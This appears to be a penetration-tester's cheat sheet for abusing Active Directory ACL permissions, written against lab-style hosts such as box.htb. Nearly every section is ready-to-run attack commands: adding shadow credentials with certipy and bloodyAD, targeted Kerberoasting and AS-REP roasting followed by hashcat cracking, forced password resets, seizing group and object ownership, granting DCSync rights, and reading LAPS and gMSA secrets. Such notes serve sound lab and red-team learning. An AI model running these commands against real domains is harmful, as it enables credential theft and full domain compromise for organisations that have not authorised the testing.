######
AD ACL
######

| https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces
| https://github.com/CravateRouge/bloodyAD/wiki/User-Guide
| https://www.thehacker.recipes/ad/movement/dacl/

|

*****************
GenericWrite-User
*****************

| You have multiple options here

msDS-KeyCredentialLink
**********************

| In this method we add a certificate on targeted user, and use it to login against certificate based protocols.
| You can either use certipy to do the all exploitation chain, or bloodyAD to generate certificates

.. code-block:: bash

    certipy shadow auto -username user@box.htb -p pass -account targeteduser -debug -scheme ldap

.. code-block:: bash

    bloodyAD --host 'dc.box.htb' -d 'box.htb' -u 'user' -p 'pass' add shadowCredentials targeteduser
    python3 PKINITtools/gettgtpkinit.py -cert-pem generated_cert.pem -key-pem generated_priv.pem box.htb/targeteduser targeteduser.ccache

|

| If no TLS/PKINIT protocols are availables and you get errors like KDC_ERR_PADATA_TYPE_NOSUPP, you can try to use startTLS on unsecure LDAP 389 instead.

.. code-block:: bash

    git clone https://github.com/AlmondOffSec/PassTheCert.git /opt/git/PassTheCert
    python3 /opt/git/PassTheCert/Python/passthecert.py -domain box.htb -dc-ip 10.129.75.247 -port 389 -crt generated_cert.pem -key generated_priv.pem

|

Targeted Kerberoast
*******************

| We can set a SPN on targeted user and perform usual Kerberoast attack.

.. code-block:: bash

    # Add SPN
    bloodyAD -k --host 'DC01.BOX.HTB' --dc-ip '10.129.41.25' -d 'BOX.HTB' -u 'USER' set object TARGETEDUSER servicePrincipalName -v 'what/ever'
    # bloodyAD -k --host 'DC01.BOX.HTB' --dc-ip '10.129.41.25' -d 'VINTAGE.HTB' -u 'USER' get object TARGETEDUSER --attr servicePrincipalName

    # Ask TGS
    GetUserSPNs.py 'BOX.HTB'/'USER' -k -no-pass -dc-ip 'DC01.BOX.HTB' -dc-host 'DC01.BOX.HTB' -request-user TARGETEDUSER -outputfile /tmp/hashes.kerberoast

    # Remove SPN
    bloodyAD -k --host 'DC01.BOX.HTB' --dc-ip '10.129.41.25' -d 'BOX.HTB' -u 'USER' set object TARGETEDUSER servicePrincipalName

| You can also use targetedKerberoast tool that automate this process...
| targetedKerberoast will add SPN for any vulnerable user, ask TGS and finally remove added SPN.

.. code-block:: bash

    git clone https://github.com/ShutdownRepo/targetedKerberoast.git /opt/git/targetedKerberoast
    pip3 install -r /opt/git/targetedKerberoast/requirements.txt
    python3 /opt/git/targetedKerberoast/targetedKerberoast.py -v -d 'box.htb' -u 'user' -p 'pass'

    # If you get clock errors please sync with DC ntp
    # sudo rdate -n 10.129.75.247

|

| Then use hashcat to crack the hash (TGS)

.. code-block:: bash

    hashcat -m 13100 /tmp/hash /usr/share/wordlists/rockyou.txt --potfile-path=/home/user/HASHCATPOT

Targeted AS-REP
***************

| Pretty close to targeted kerberoast method, 
| we set the DONT_REQ_PREAUTH property on targeted user to perform targeted AS-REP Roasting

.. code-block:: bash

    bloodyAD -k --host 'DC01.BOX.HTB' --dc-ip '10.129.41.25' -d 'BOX.HTB' -u 'COMPROMISEDACCOUNT' add uac TARGETEDACCOUNT -f DONT_REQ_PREAUTH
    [-] ['DONT_REQ_PREAUTH'] property flags added to TARGETEDACCOUNT's userAccountControl

    GetNPUsers.py 'BOX.HTB'/'COMPROMISEDACCOUNT' -k -no-pass -dc-ip 'DC01.BOX.HTB' -dc-host 'DC01.BOX.HTB' -usersfile <(echo -e 'TARGETEDACCOUNT') -outputfile /tmp/hashes.asreproast -format hashcat 
    $krb5asrep$23$TARGETEDACCOUNT@BOX.HTB:xxxxxxxxxxxxxx

    hashcat -m 18200 -a 0 hashes.asreproast /usr/share/wordlists/rockyou.txt --potfile-path=HASHCATPOT

|

Enable user
***********

| That not an attack, but you can enable disabled account

.. code-block:: bash

    bloodyAD -k --host 'DC01.BOX.HTB' --dc-ip '10.129.41.25' -d 'BOX.HTB' -u 'USER' remove uac TARGETEDUSER -f ACCOUNTDISABLE
    [-] ['ACCOUNTDISABLE'] property flags removed from TARGETEDUSER's userAccountControl

|

***************
GenericAll-User
***************

| (GenericAll contains GenericWrite)

Set Password
************

| If you have GenericAll access against an user, you can set the user's password.
| (You probably want to try GenericWrite methods first to retrieve the user's hash before losing it)

.. code-block:: powershell

    net user robert FNUEOFNSIDsilfelifsef_1 /domain

|

| From linux

.. code-block:: bash

    # With password
    bloodyAD --host 'DC.DOMAIN.HTB' -d 'DOMAIN.HTB' -u 'USER' -p 'PASS' set password VICTIM Pototo_123

    # With NT HASH
    bloodyAD --host 'DC.DOMAIN.HTB' -d 'DOMAIN.HTB' -u 'USER' -p ':NTHASH' set password VICTIM Pototo_123

|

***************
WriteOwner-User
***************

| You can set VICTIM's owner to USER,
| then you grants USERS rights on VICTIM.

.. code-block:: bash

    bloodyAD --host 'DC.DOMAIN.HTB' -d 'DOMAIN.HTB' -u 'USER' -p 'PASS' set owner VICTIM USER
    bloodyAD --host 'DC.DOMAIN.HTB' -d 'DOMAIN.HTB' -u 'USER' -p 'PASS' add genericAll VICTIM USER
    #bloodyAD --host 'DC.DOMAIN.HTB' -d 'DOMAIN.HTB' -u 'USER' -p 'PASS' set password VICTIM Pototo_123

|

****************
WriteOwner-Group
****************

| Change owner of group

.. code-block:: bash

    bloodyAD --host 'DC.DOMAIN.HTB' -d 'DOMAIN.HTB' -u 'USER' -p 'PASS' set owner 'TheSuperAdminGroup' 'USER'

|

***********
Owner-Group
***********

| Grant genericAll right to TheSuperAdminGroup for USER

.. code-block:: bash

    bloodyAD --host 'DC.DOMAIN.HTB' -d 'DOMAIN.HTB' -u 'USER' -p 'PASS' add genericAll 'TheSuperAdminGroup' 'USER'

|

****************
GenericAll-Group
****************

| Add USER to group

.. code-block:: bash

    bloodyAD --host 'DC.DOMAIN.HTB' -d 'DOMAIN.HTB' -u 'USER' -p 'PASS' add groupMember 'TheSuperAdminGroup' 'USER'

|

****************
ReadLAPSPassword
****************

.. code-block:: bash

    nxc ldap 'DC.DOMAIN.HTB' -d 'DOMAIN.HTB' -u 'USER' -p 'PASS' --module laps

|

*********
WriteDacl
*********

| You can add any ACL you want, like DCSync

.. code-block:: bash

    bloodyAD --host 'DC.DOMAIN.HTB' -d 'DOMAIN.HTB' -u 'USER' -p 'PASS' setDCSync USER

|


****************
ReadGMSAPassword
****************

| You can retrieve gMSA account's NT hash

.. code-block:: bash

    bloodyAD -k --host 'DC01.BOX.HTB' --dc-ip '10.129.41.25' -d 'BOX.HTB' -u 'USER' -p 'PASS' get object 'GMSA01$' --attr msDS-ManagedPassword
    nxc ldap BOX.HTB -u 'USER' -p 'PASS' --gmsa
    
|

********
WriteSPN
********

| You can perform Targeted Kerberoast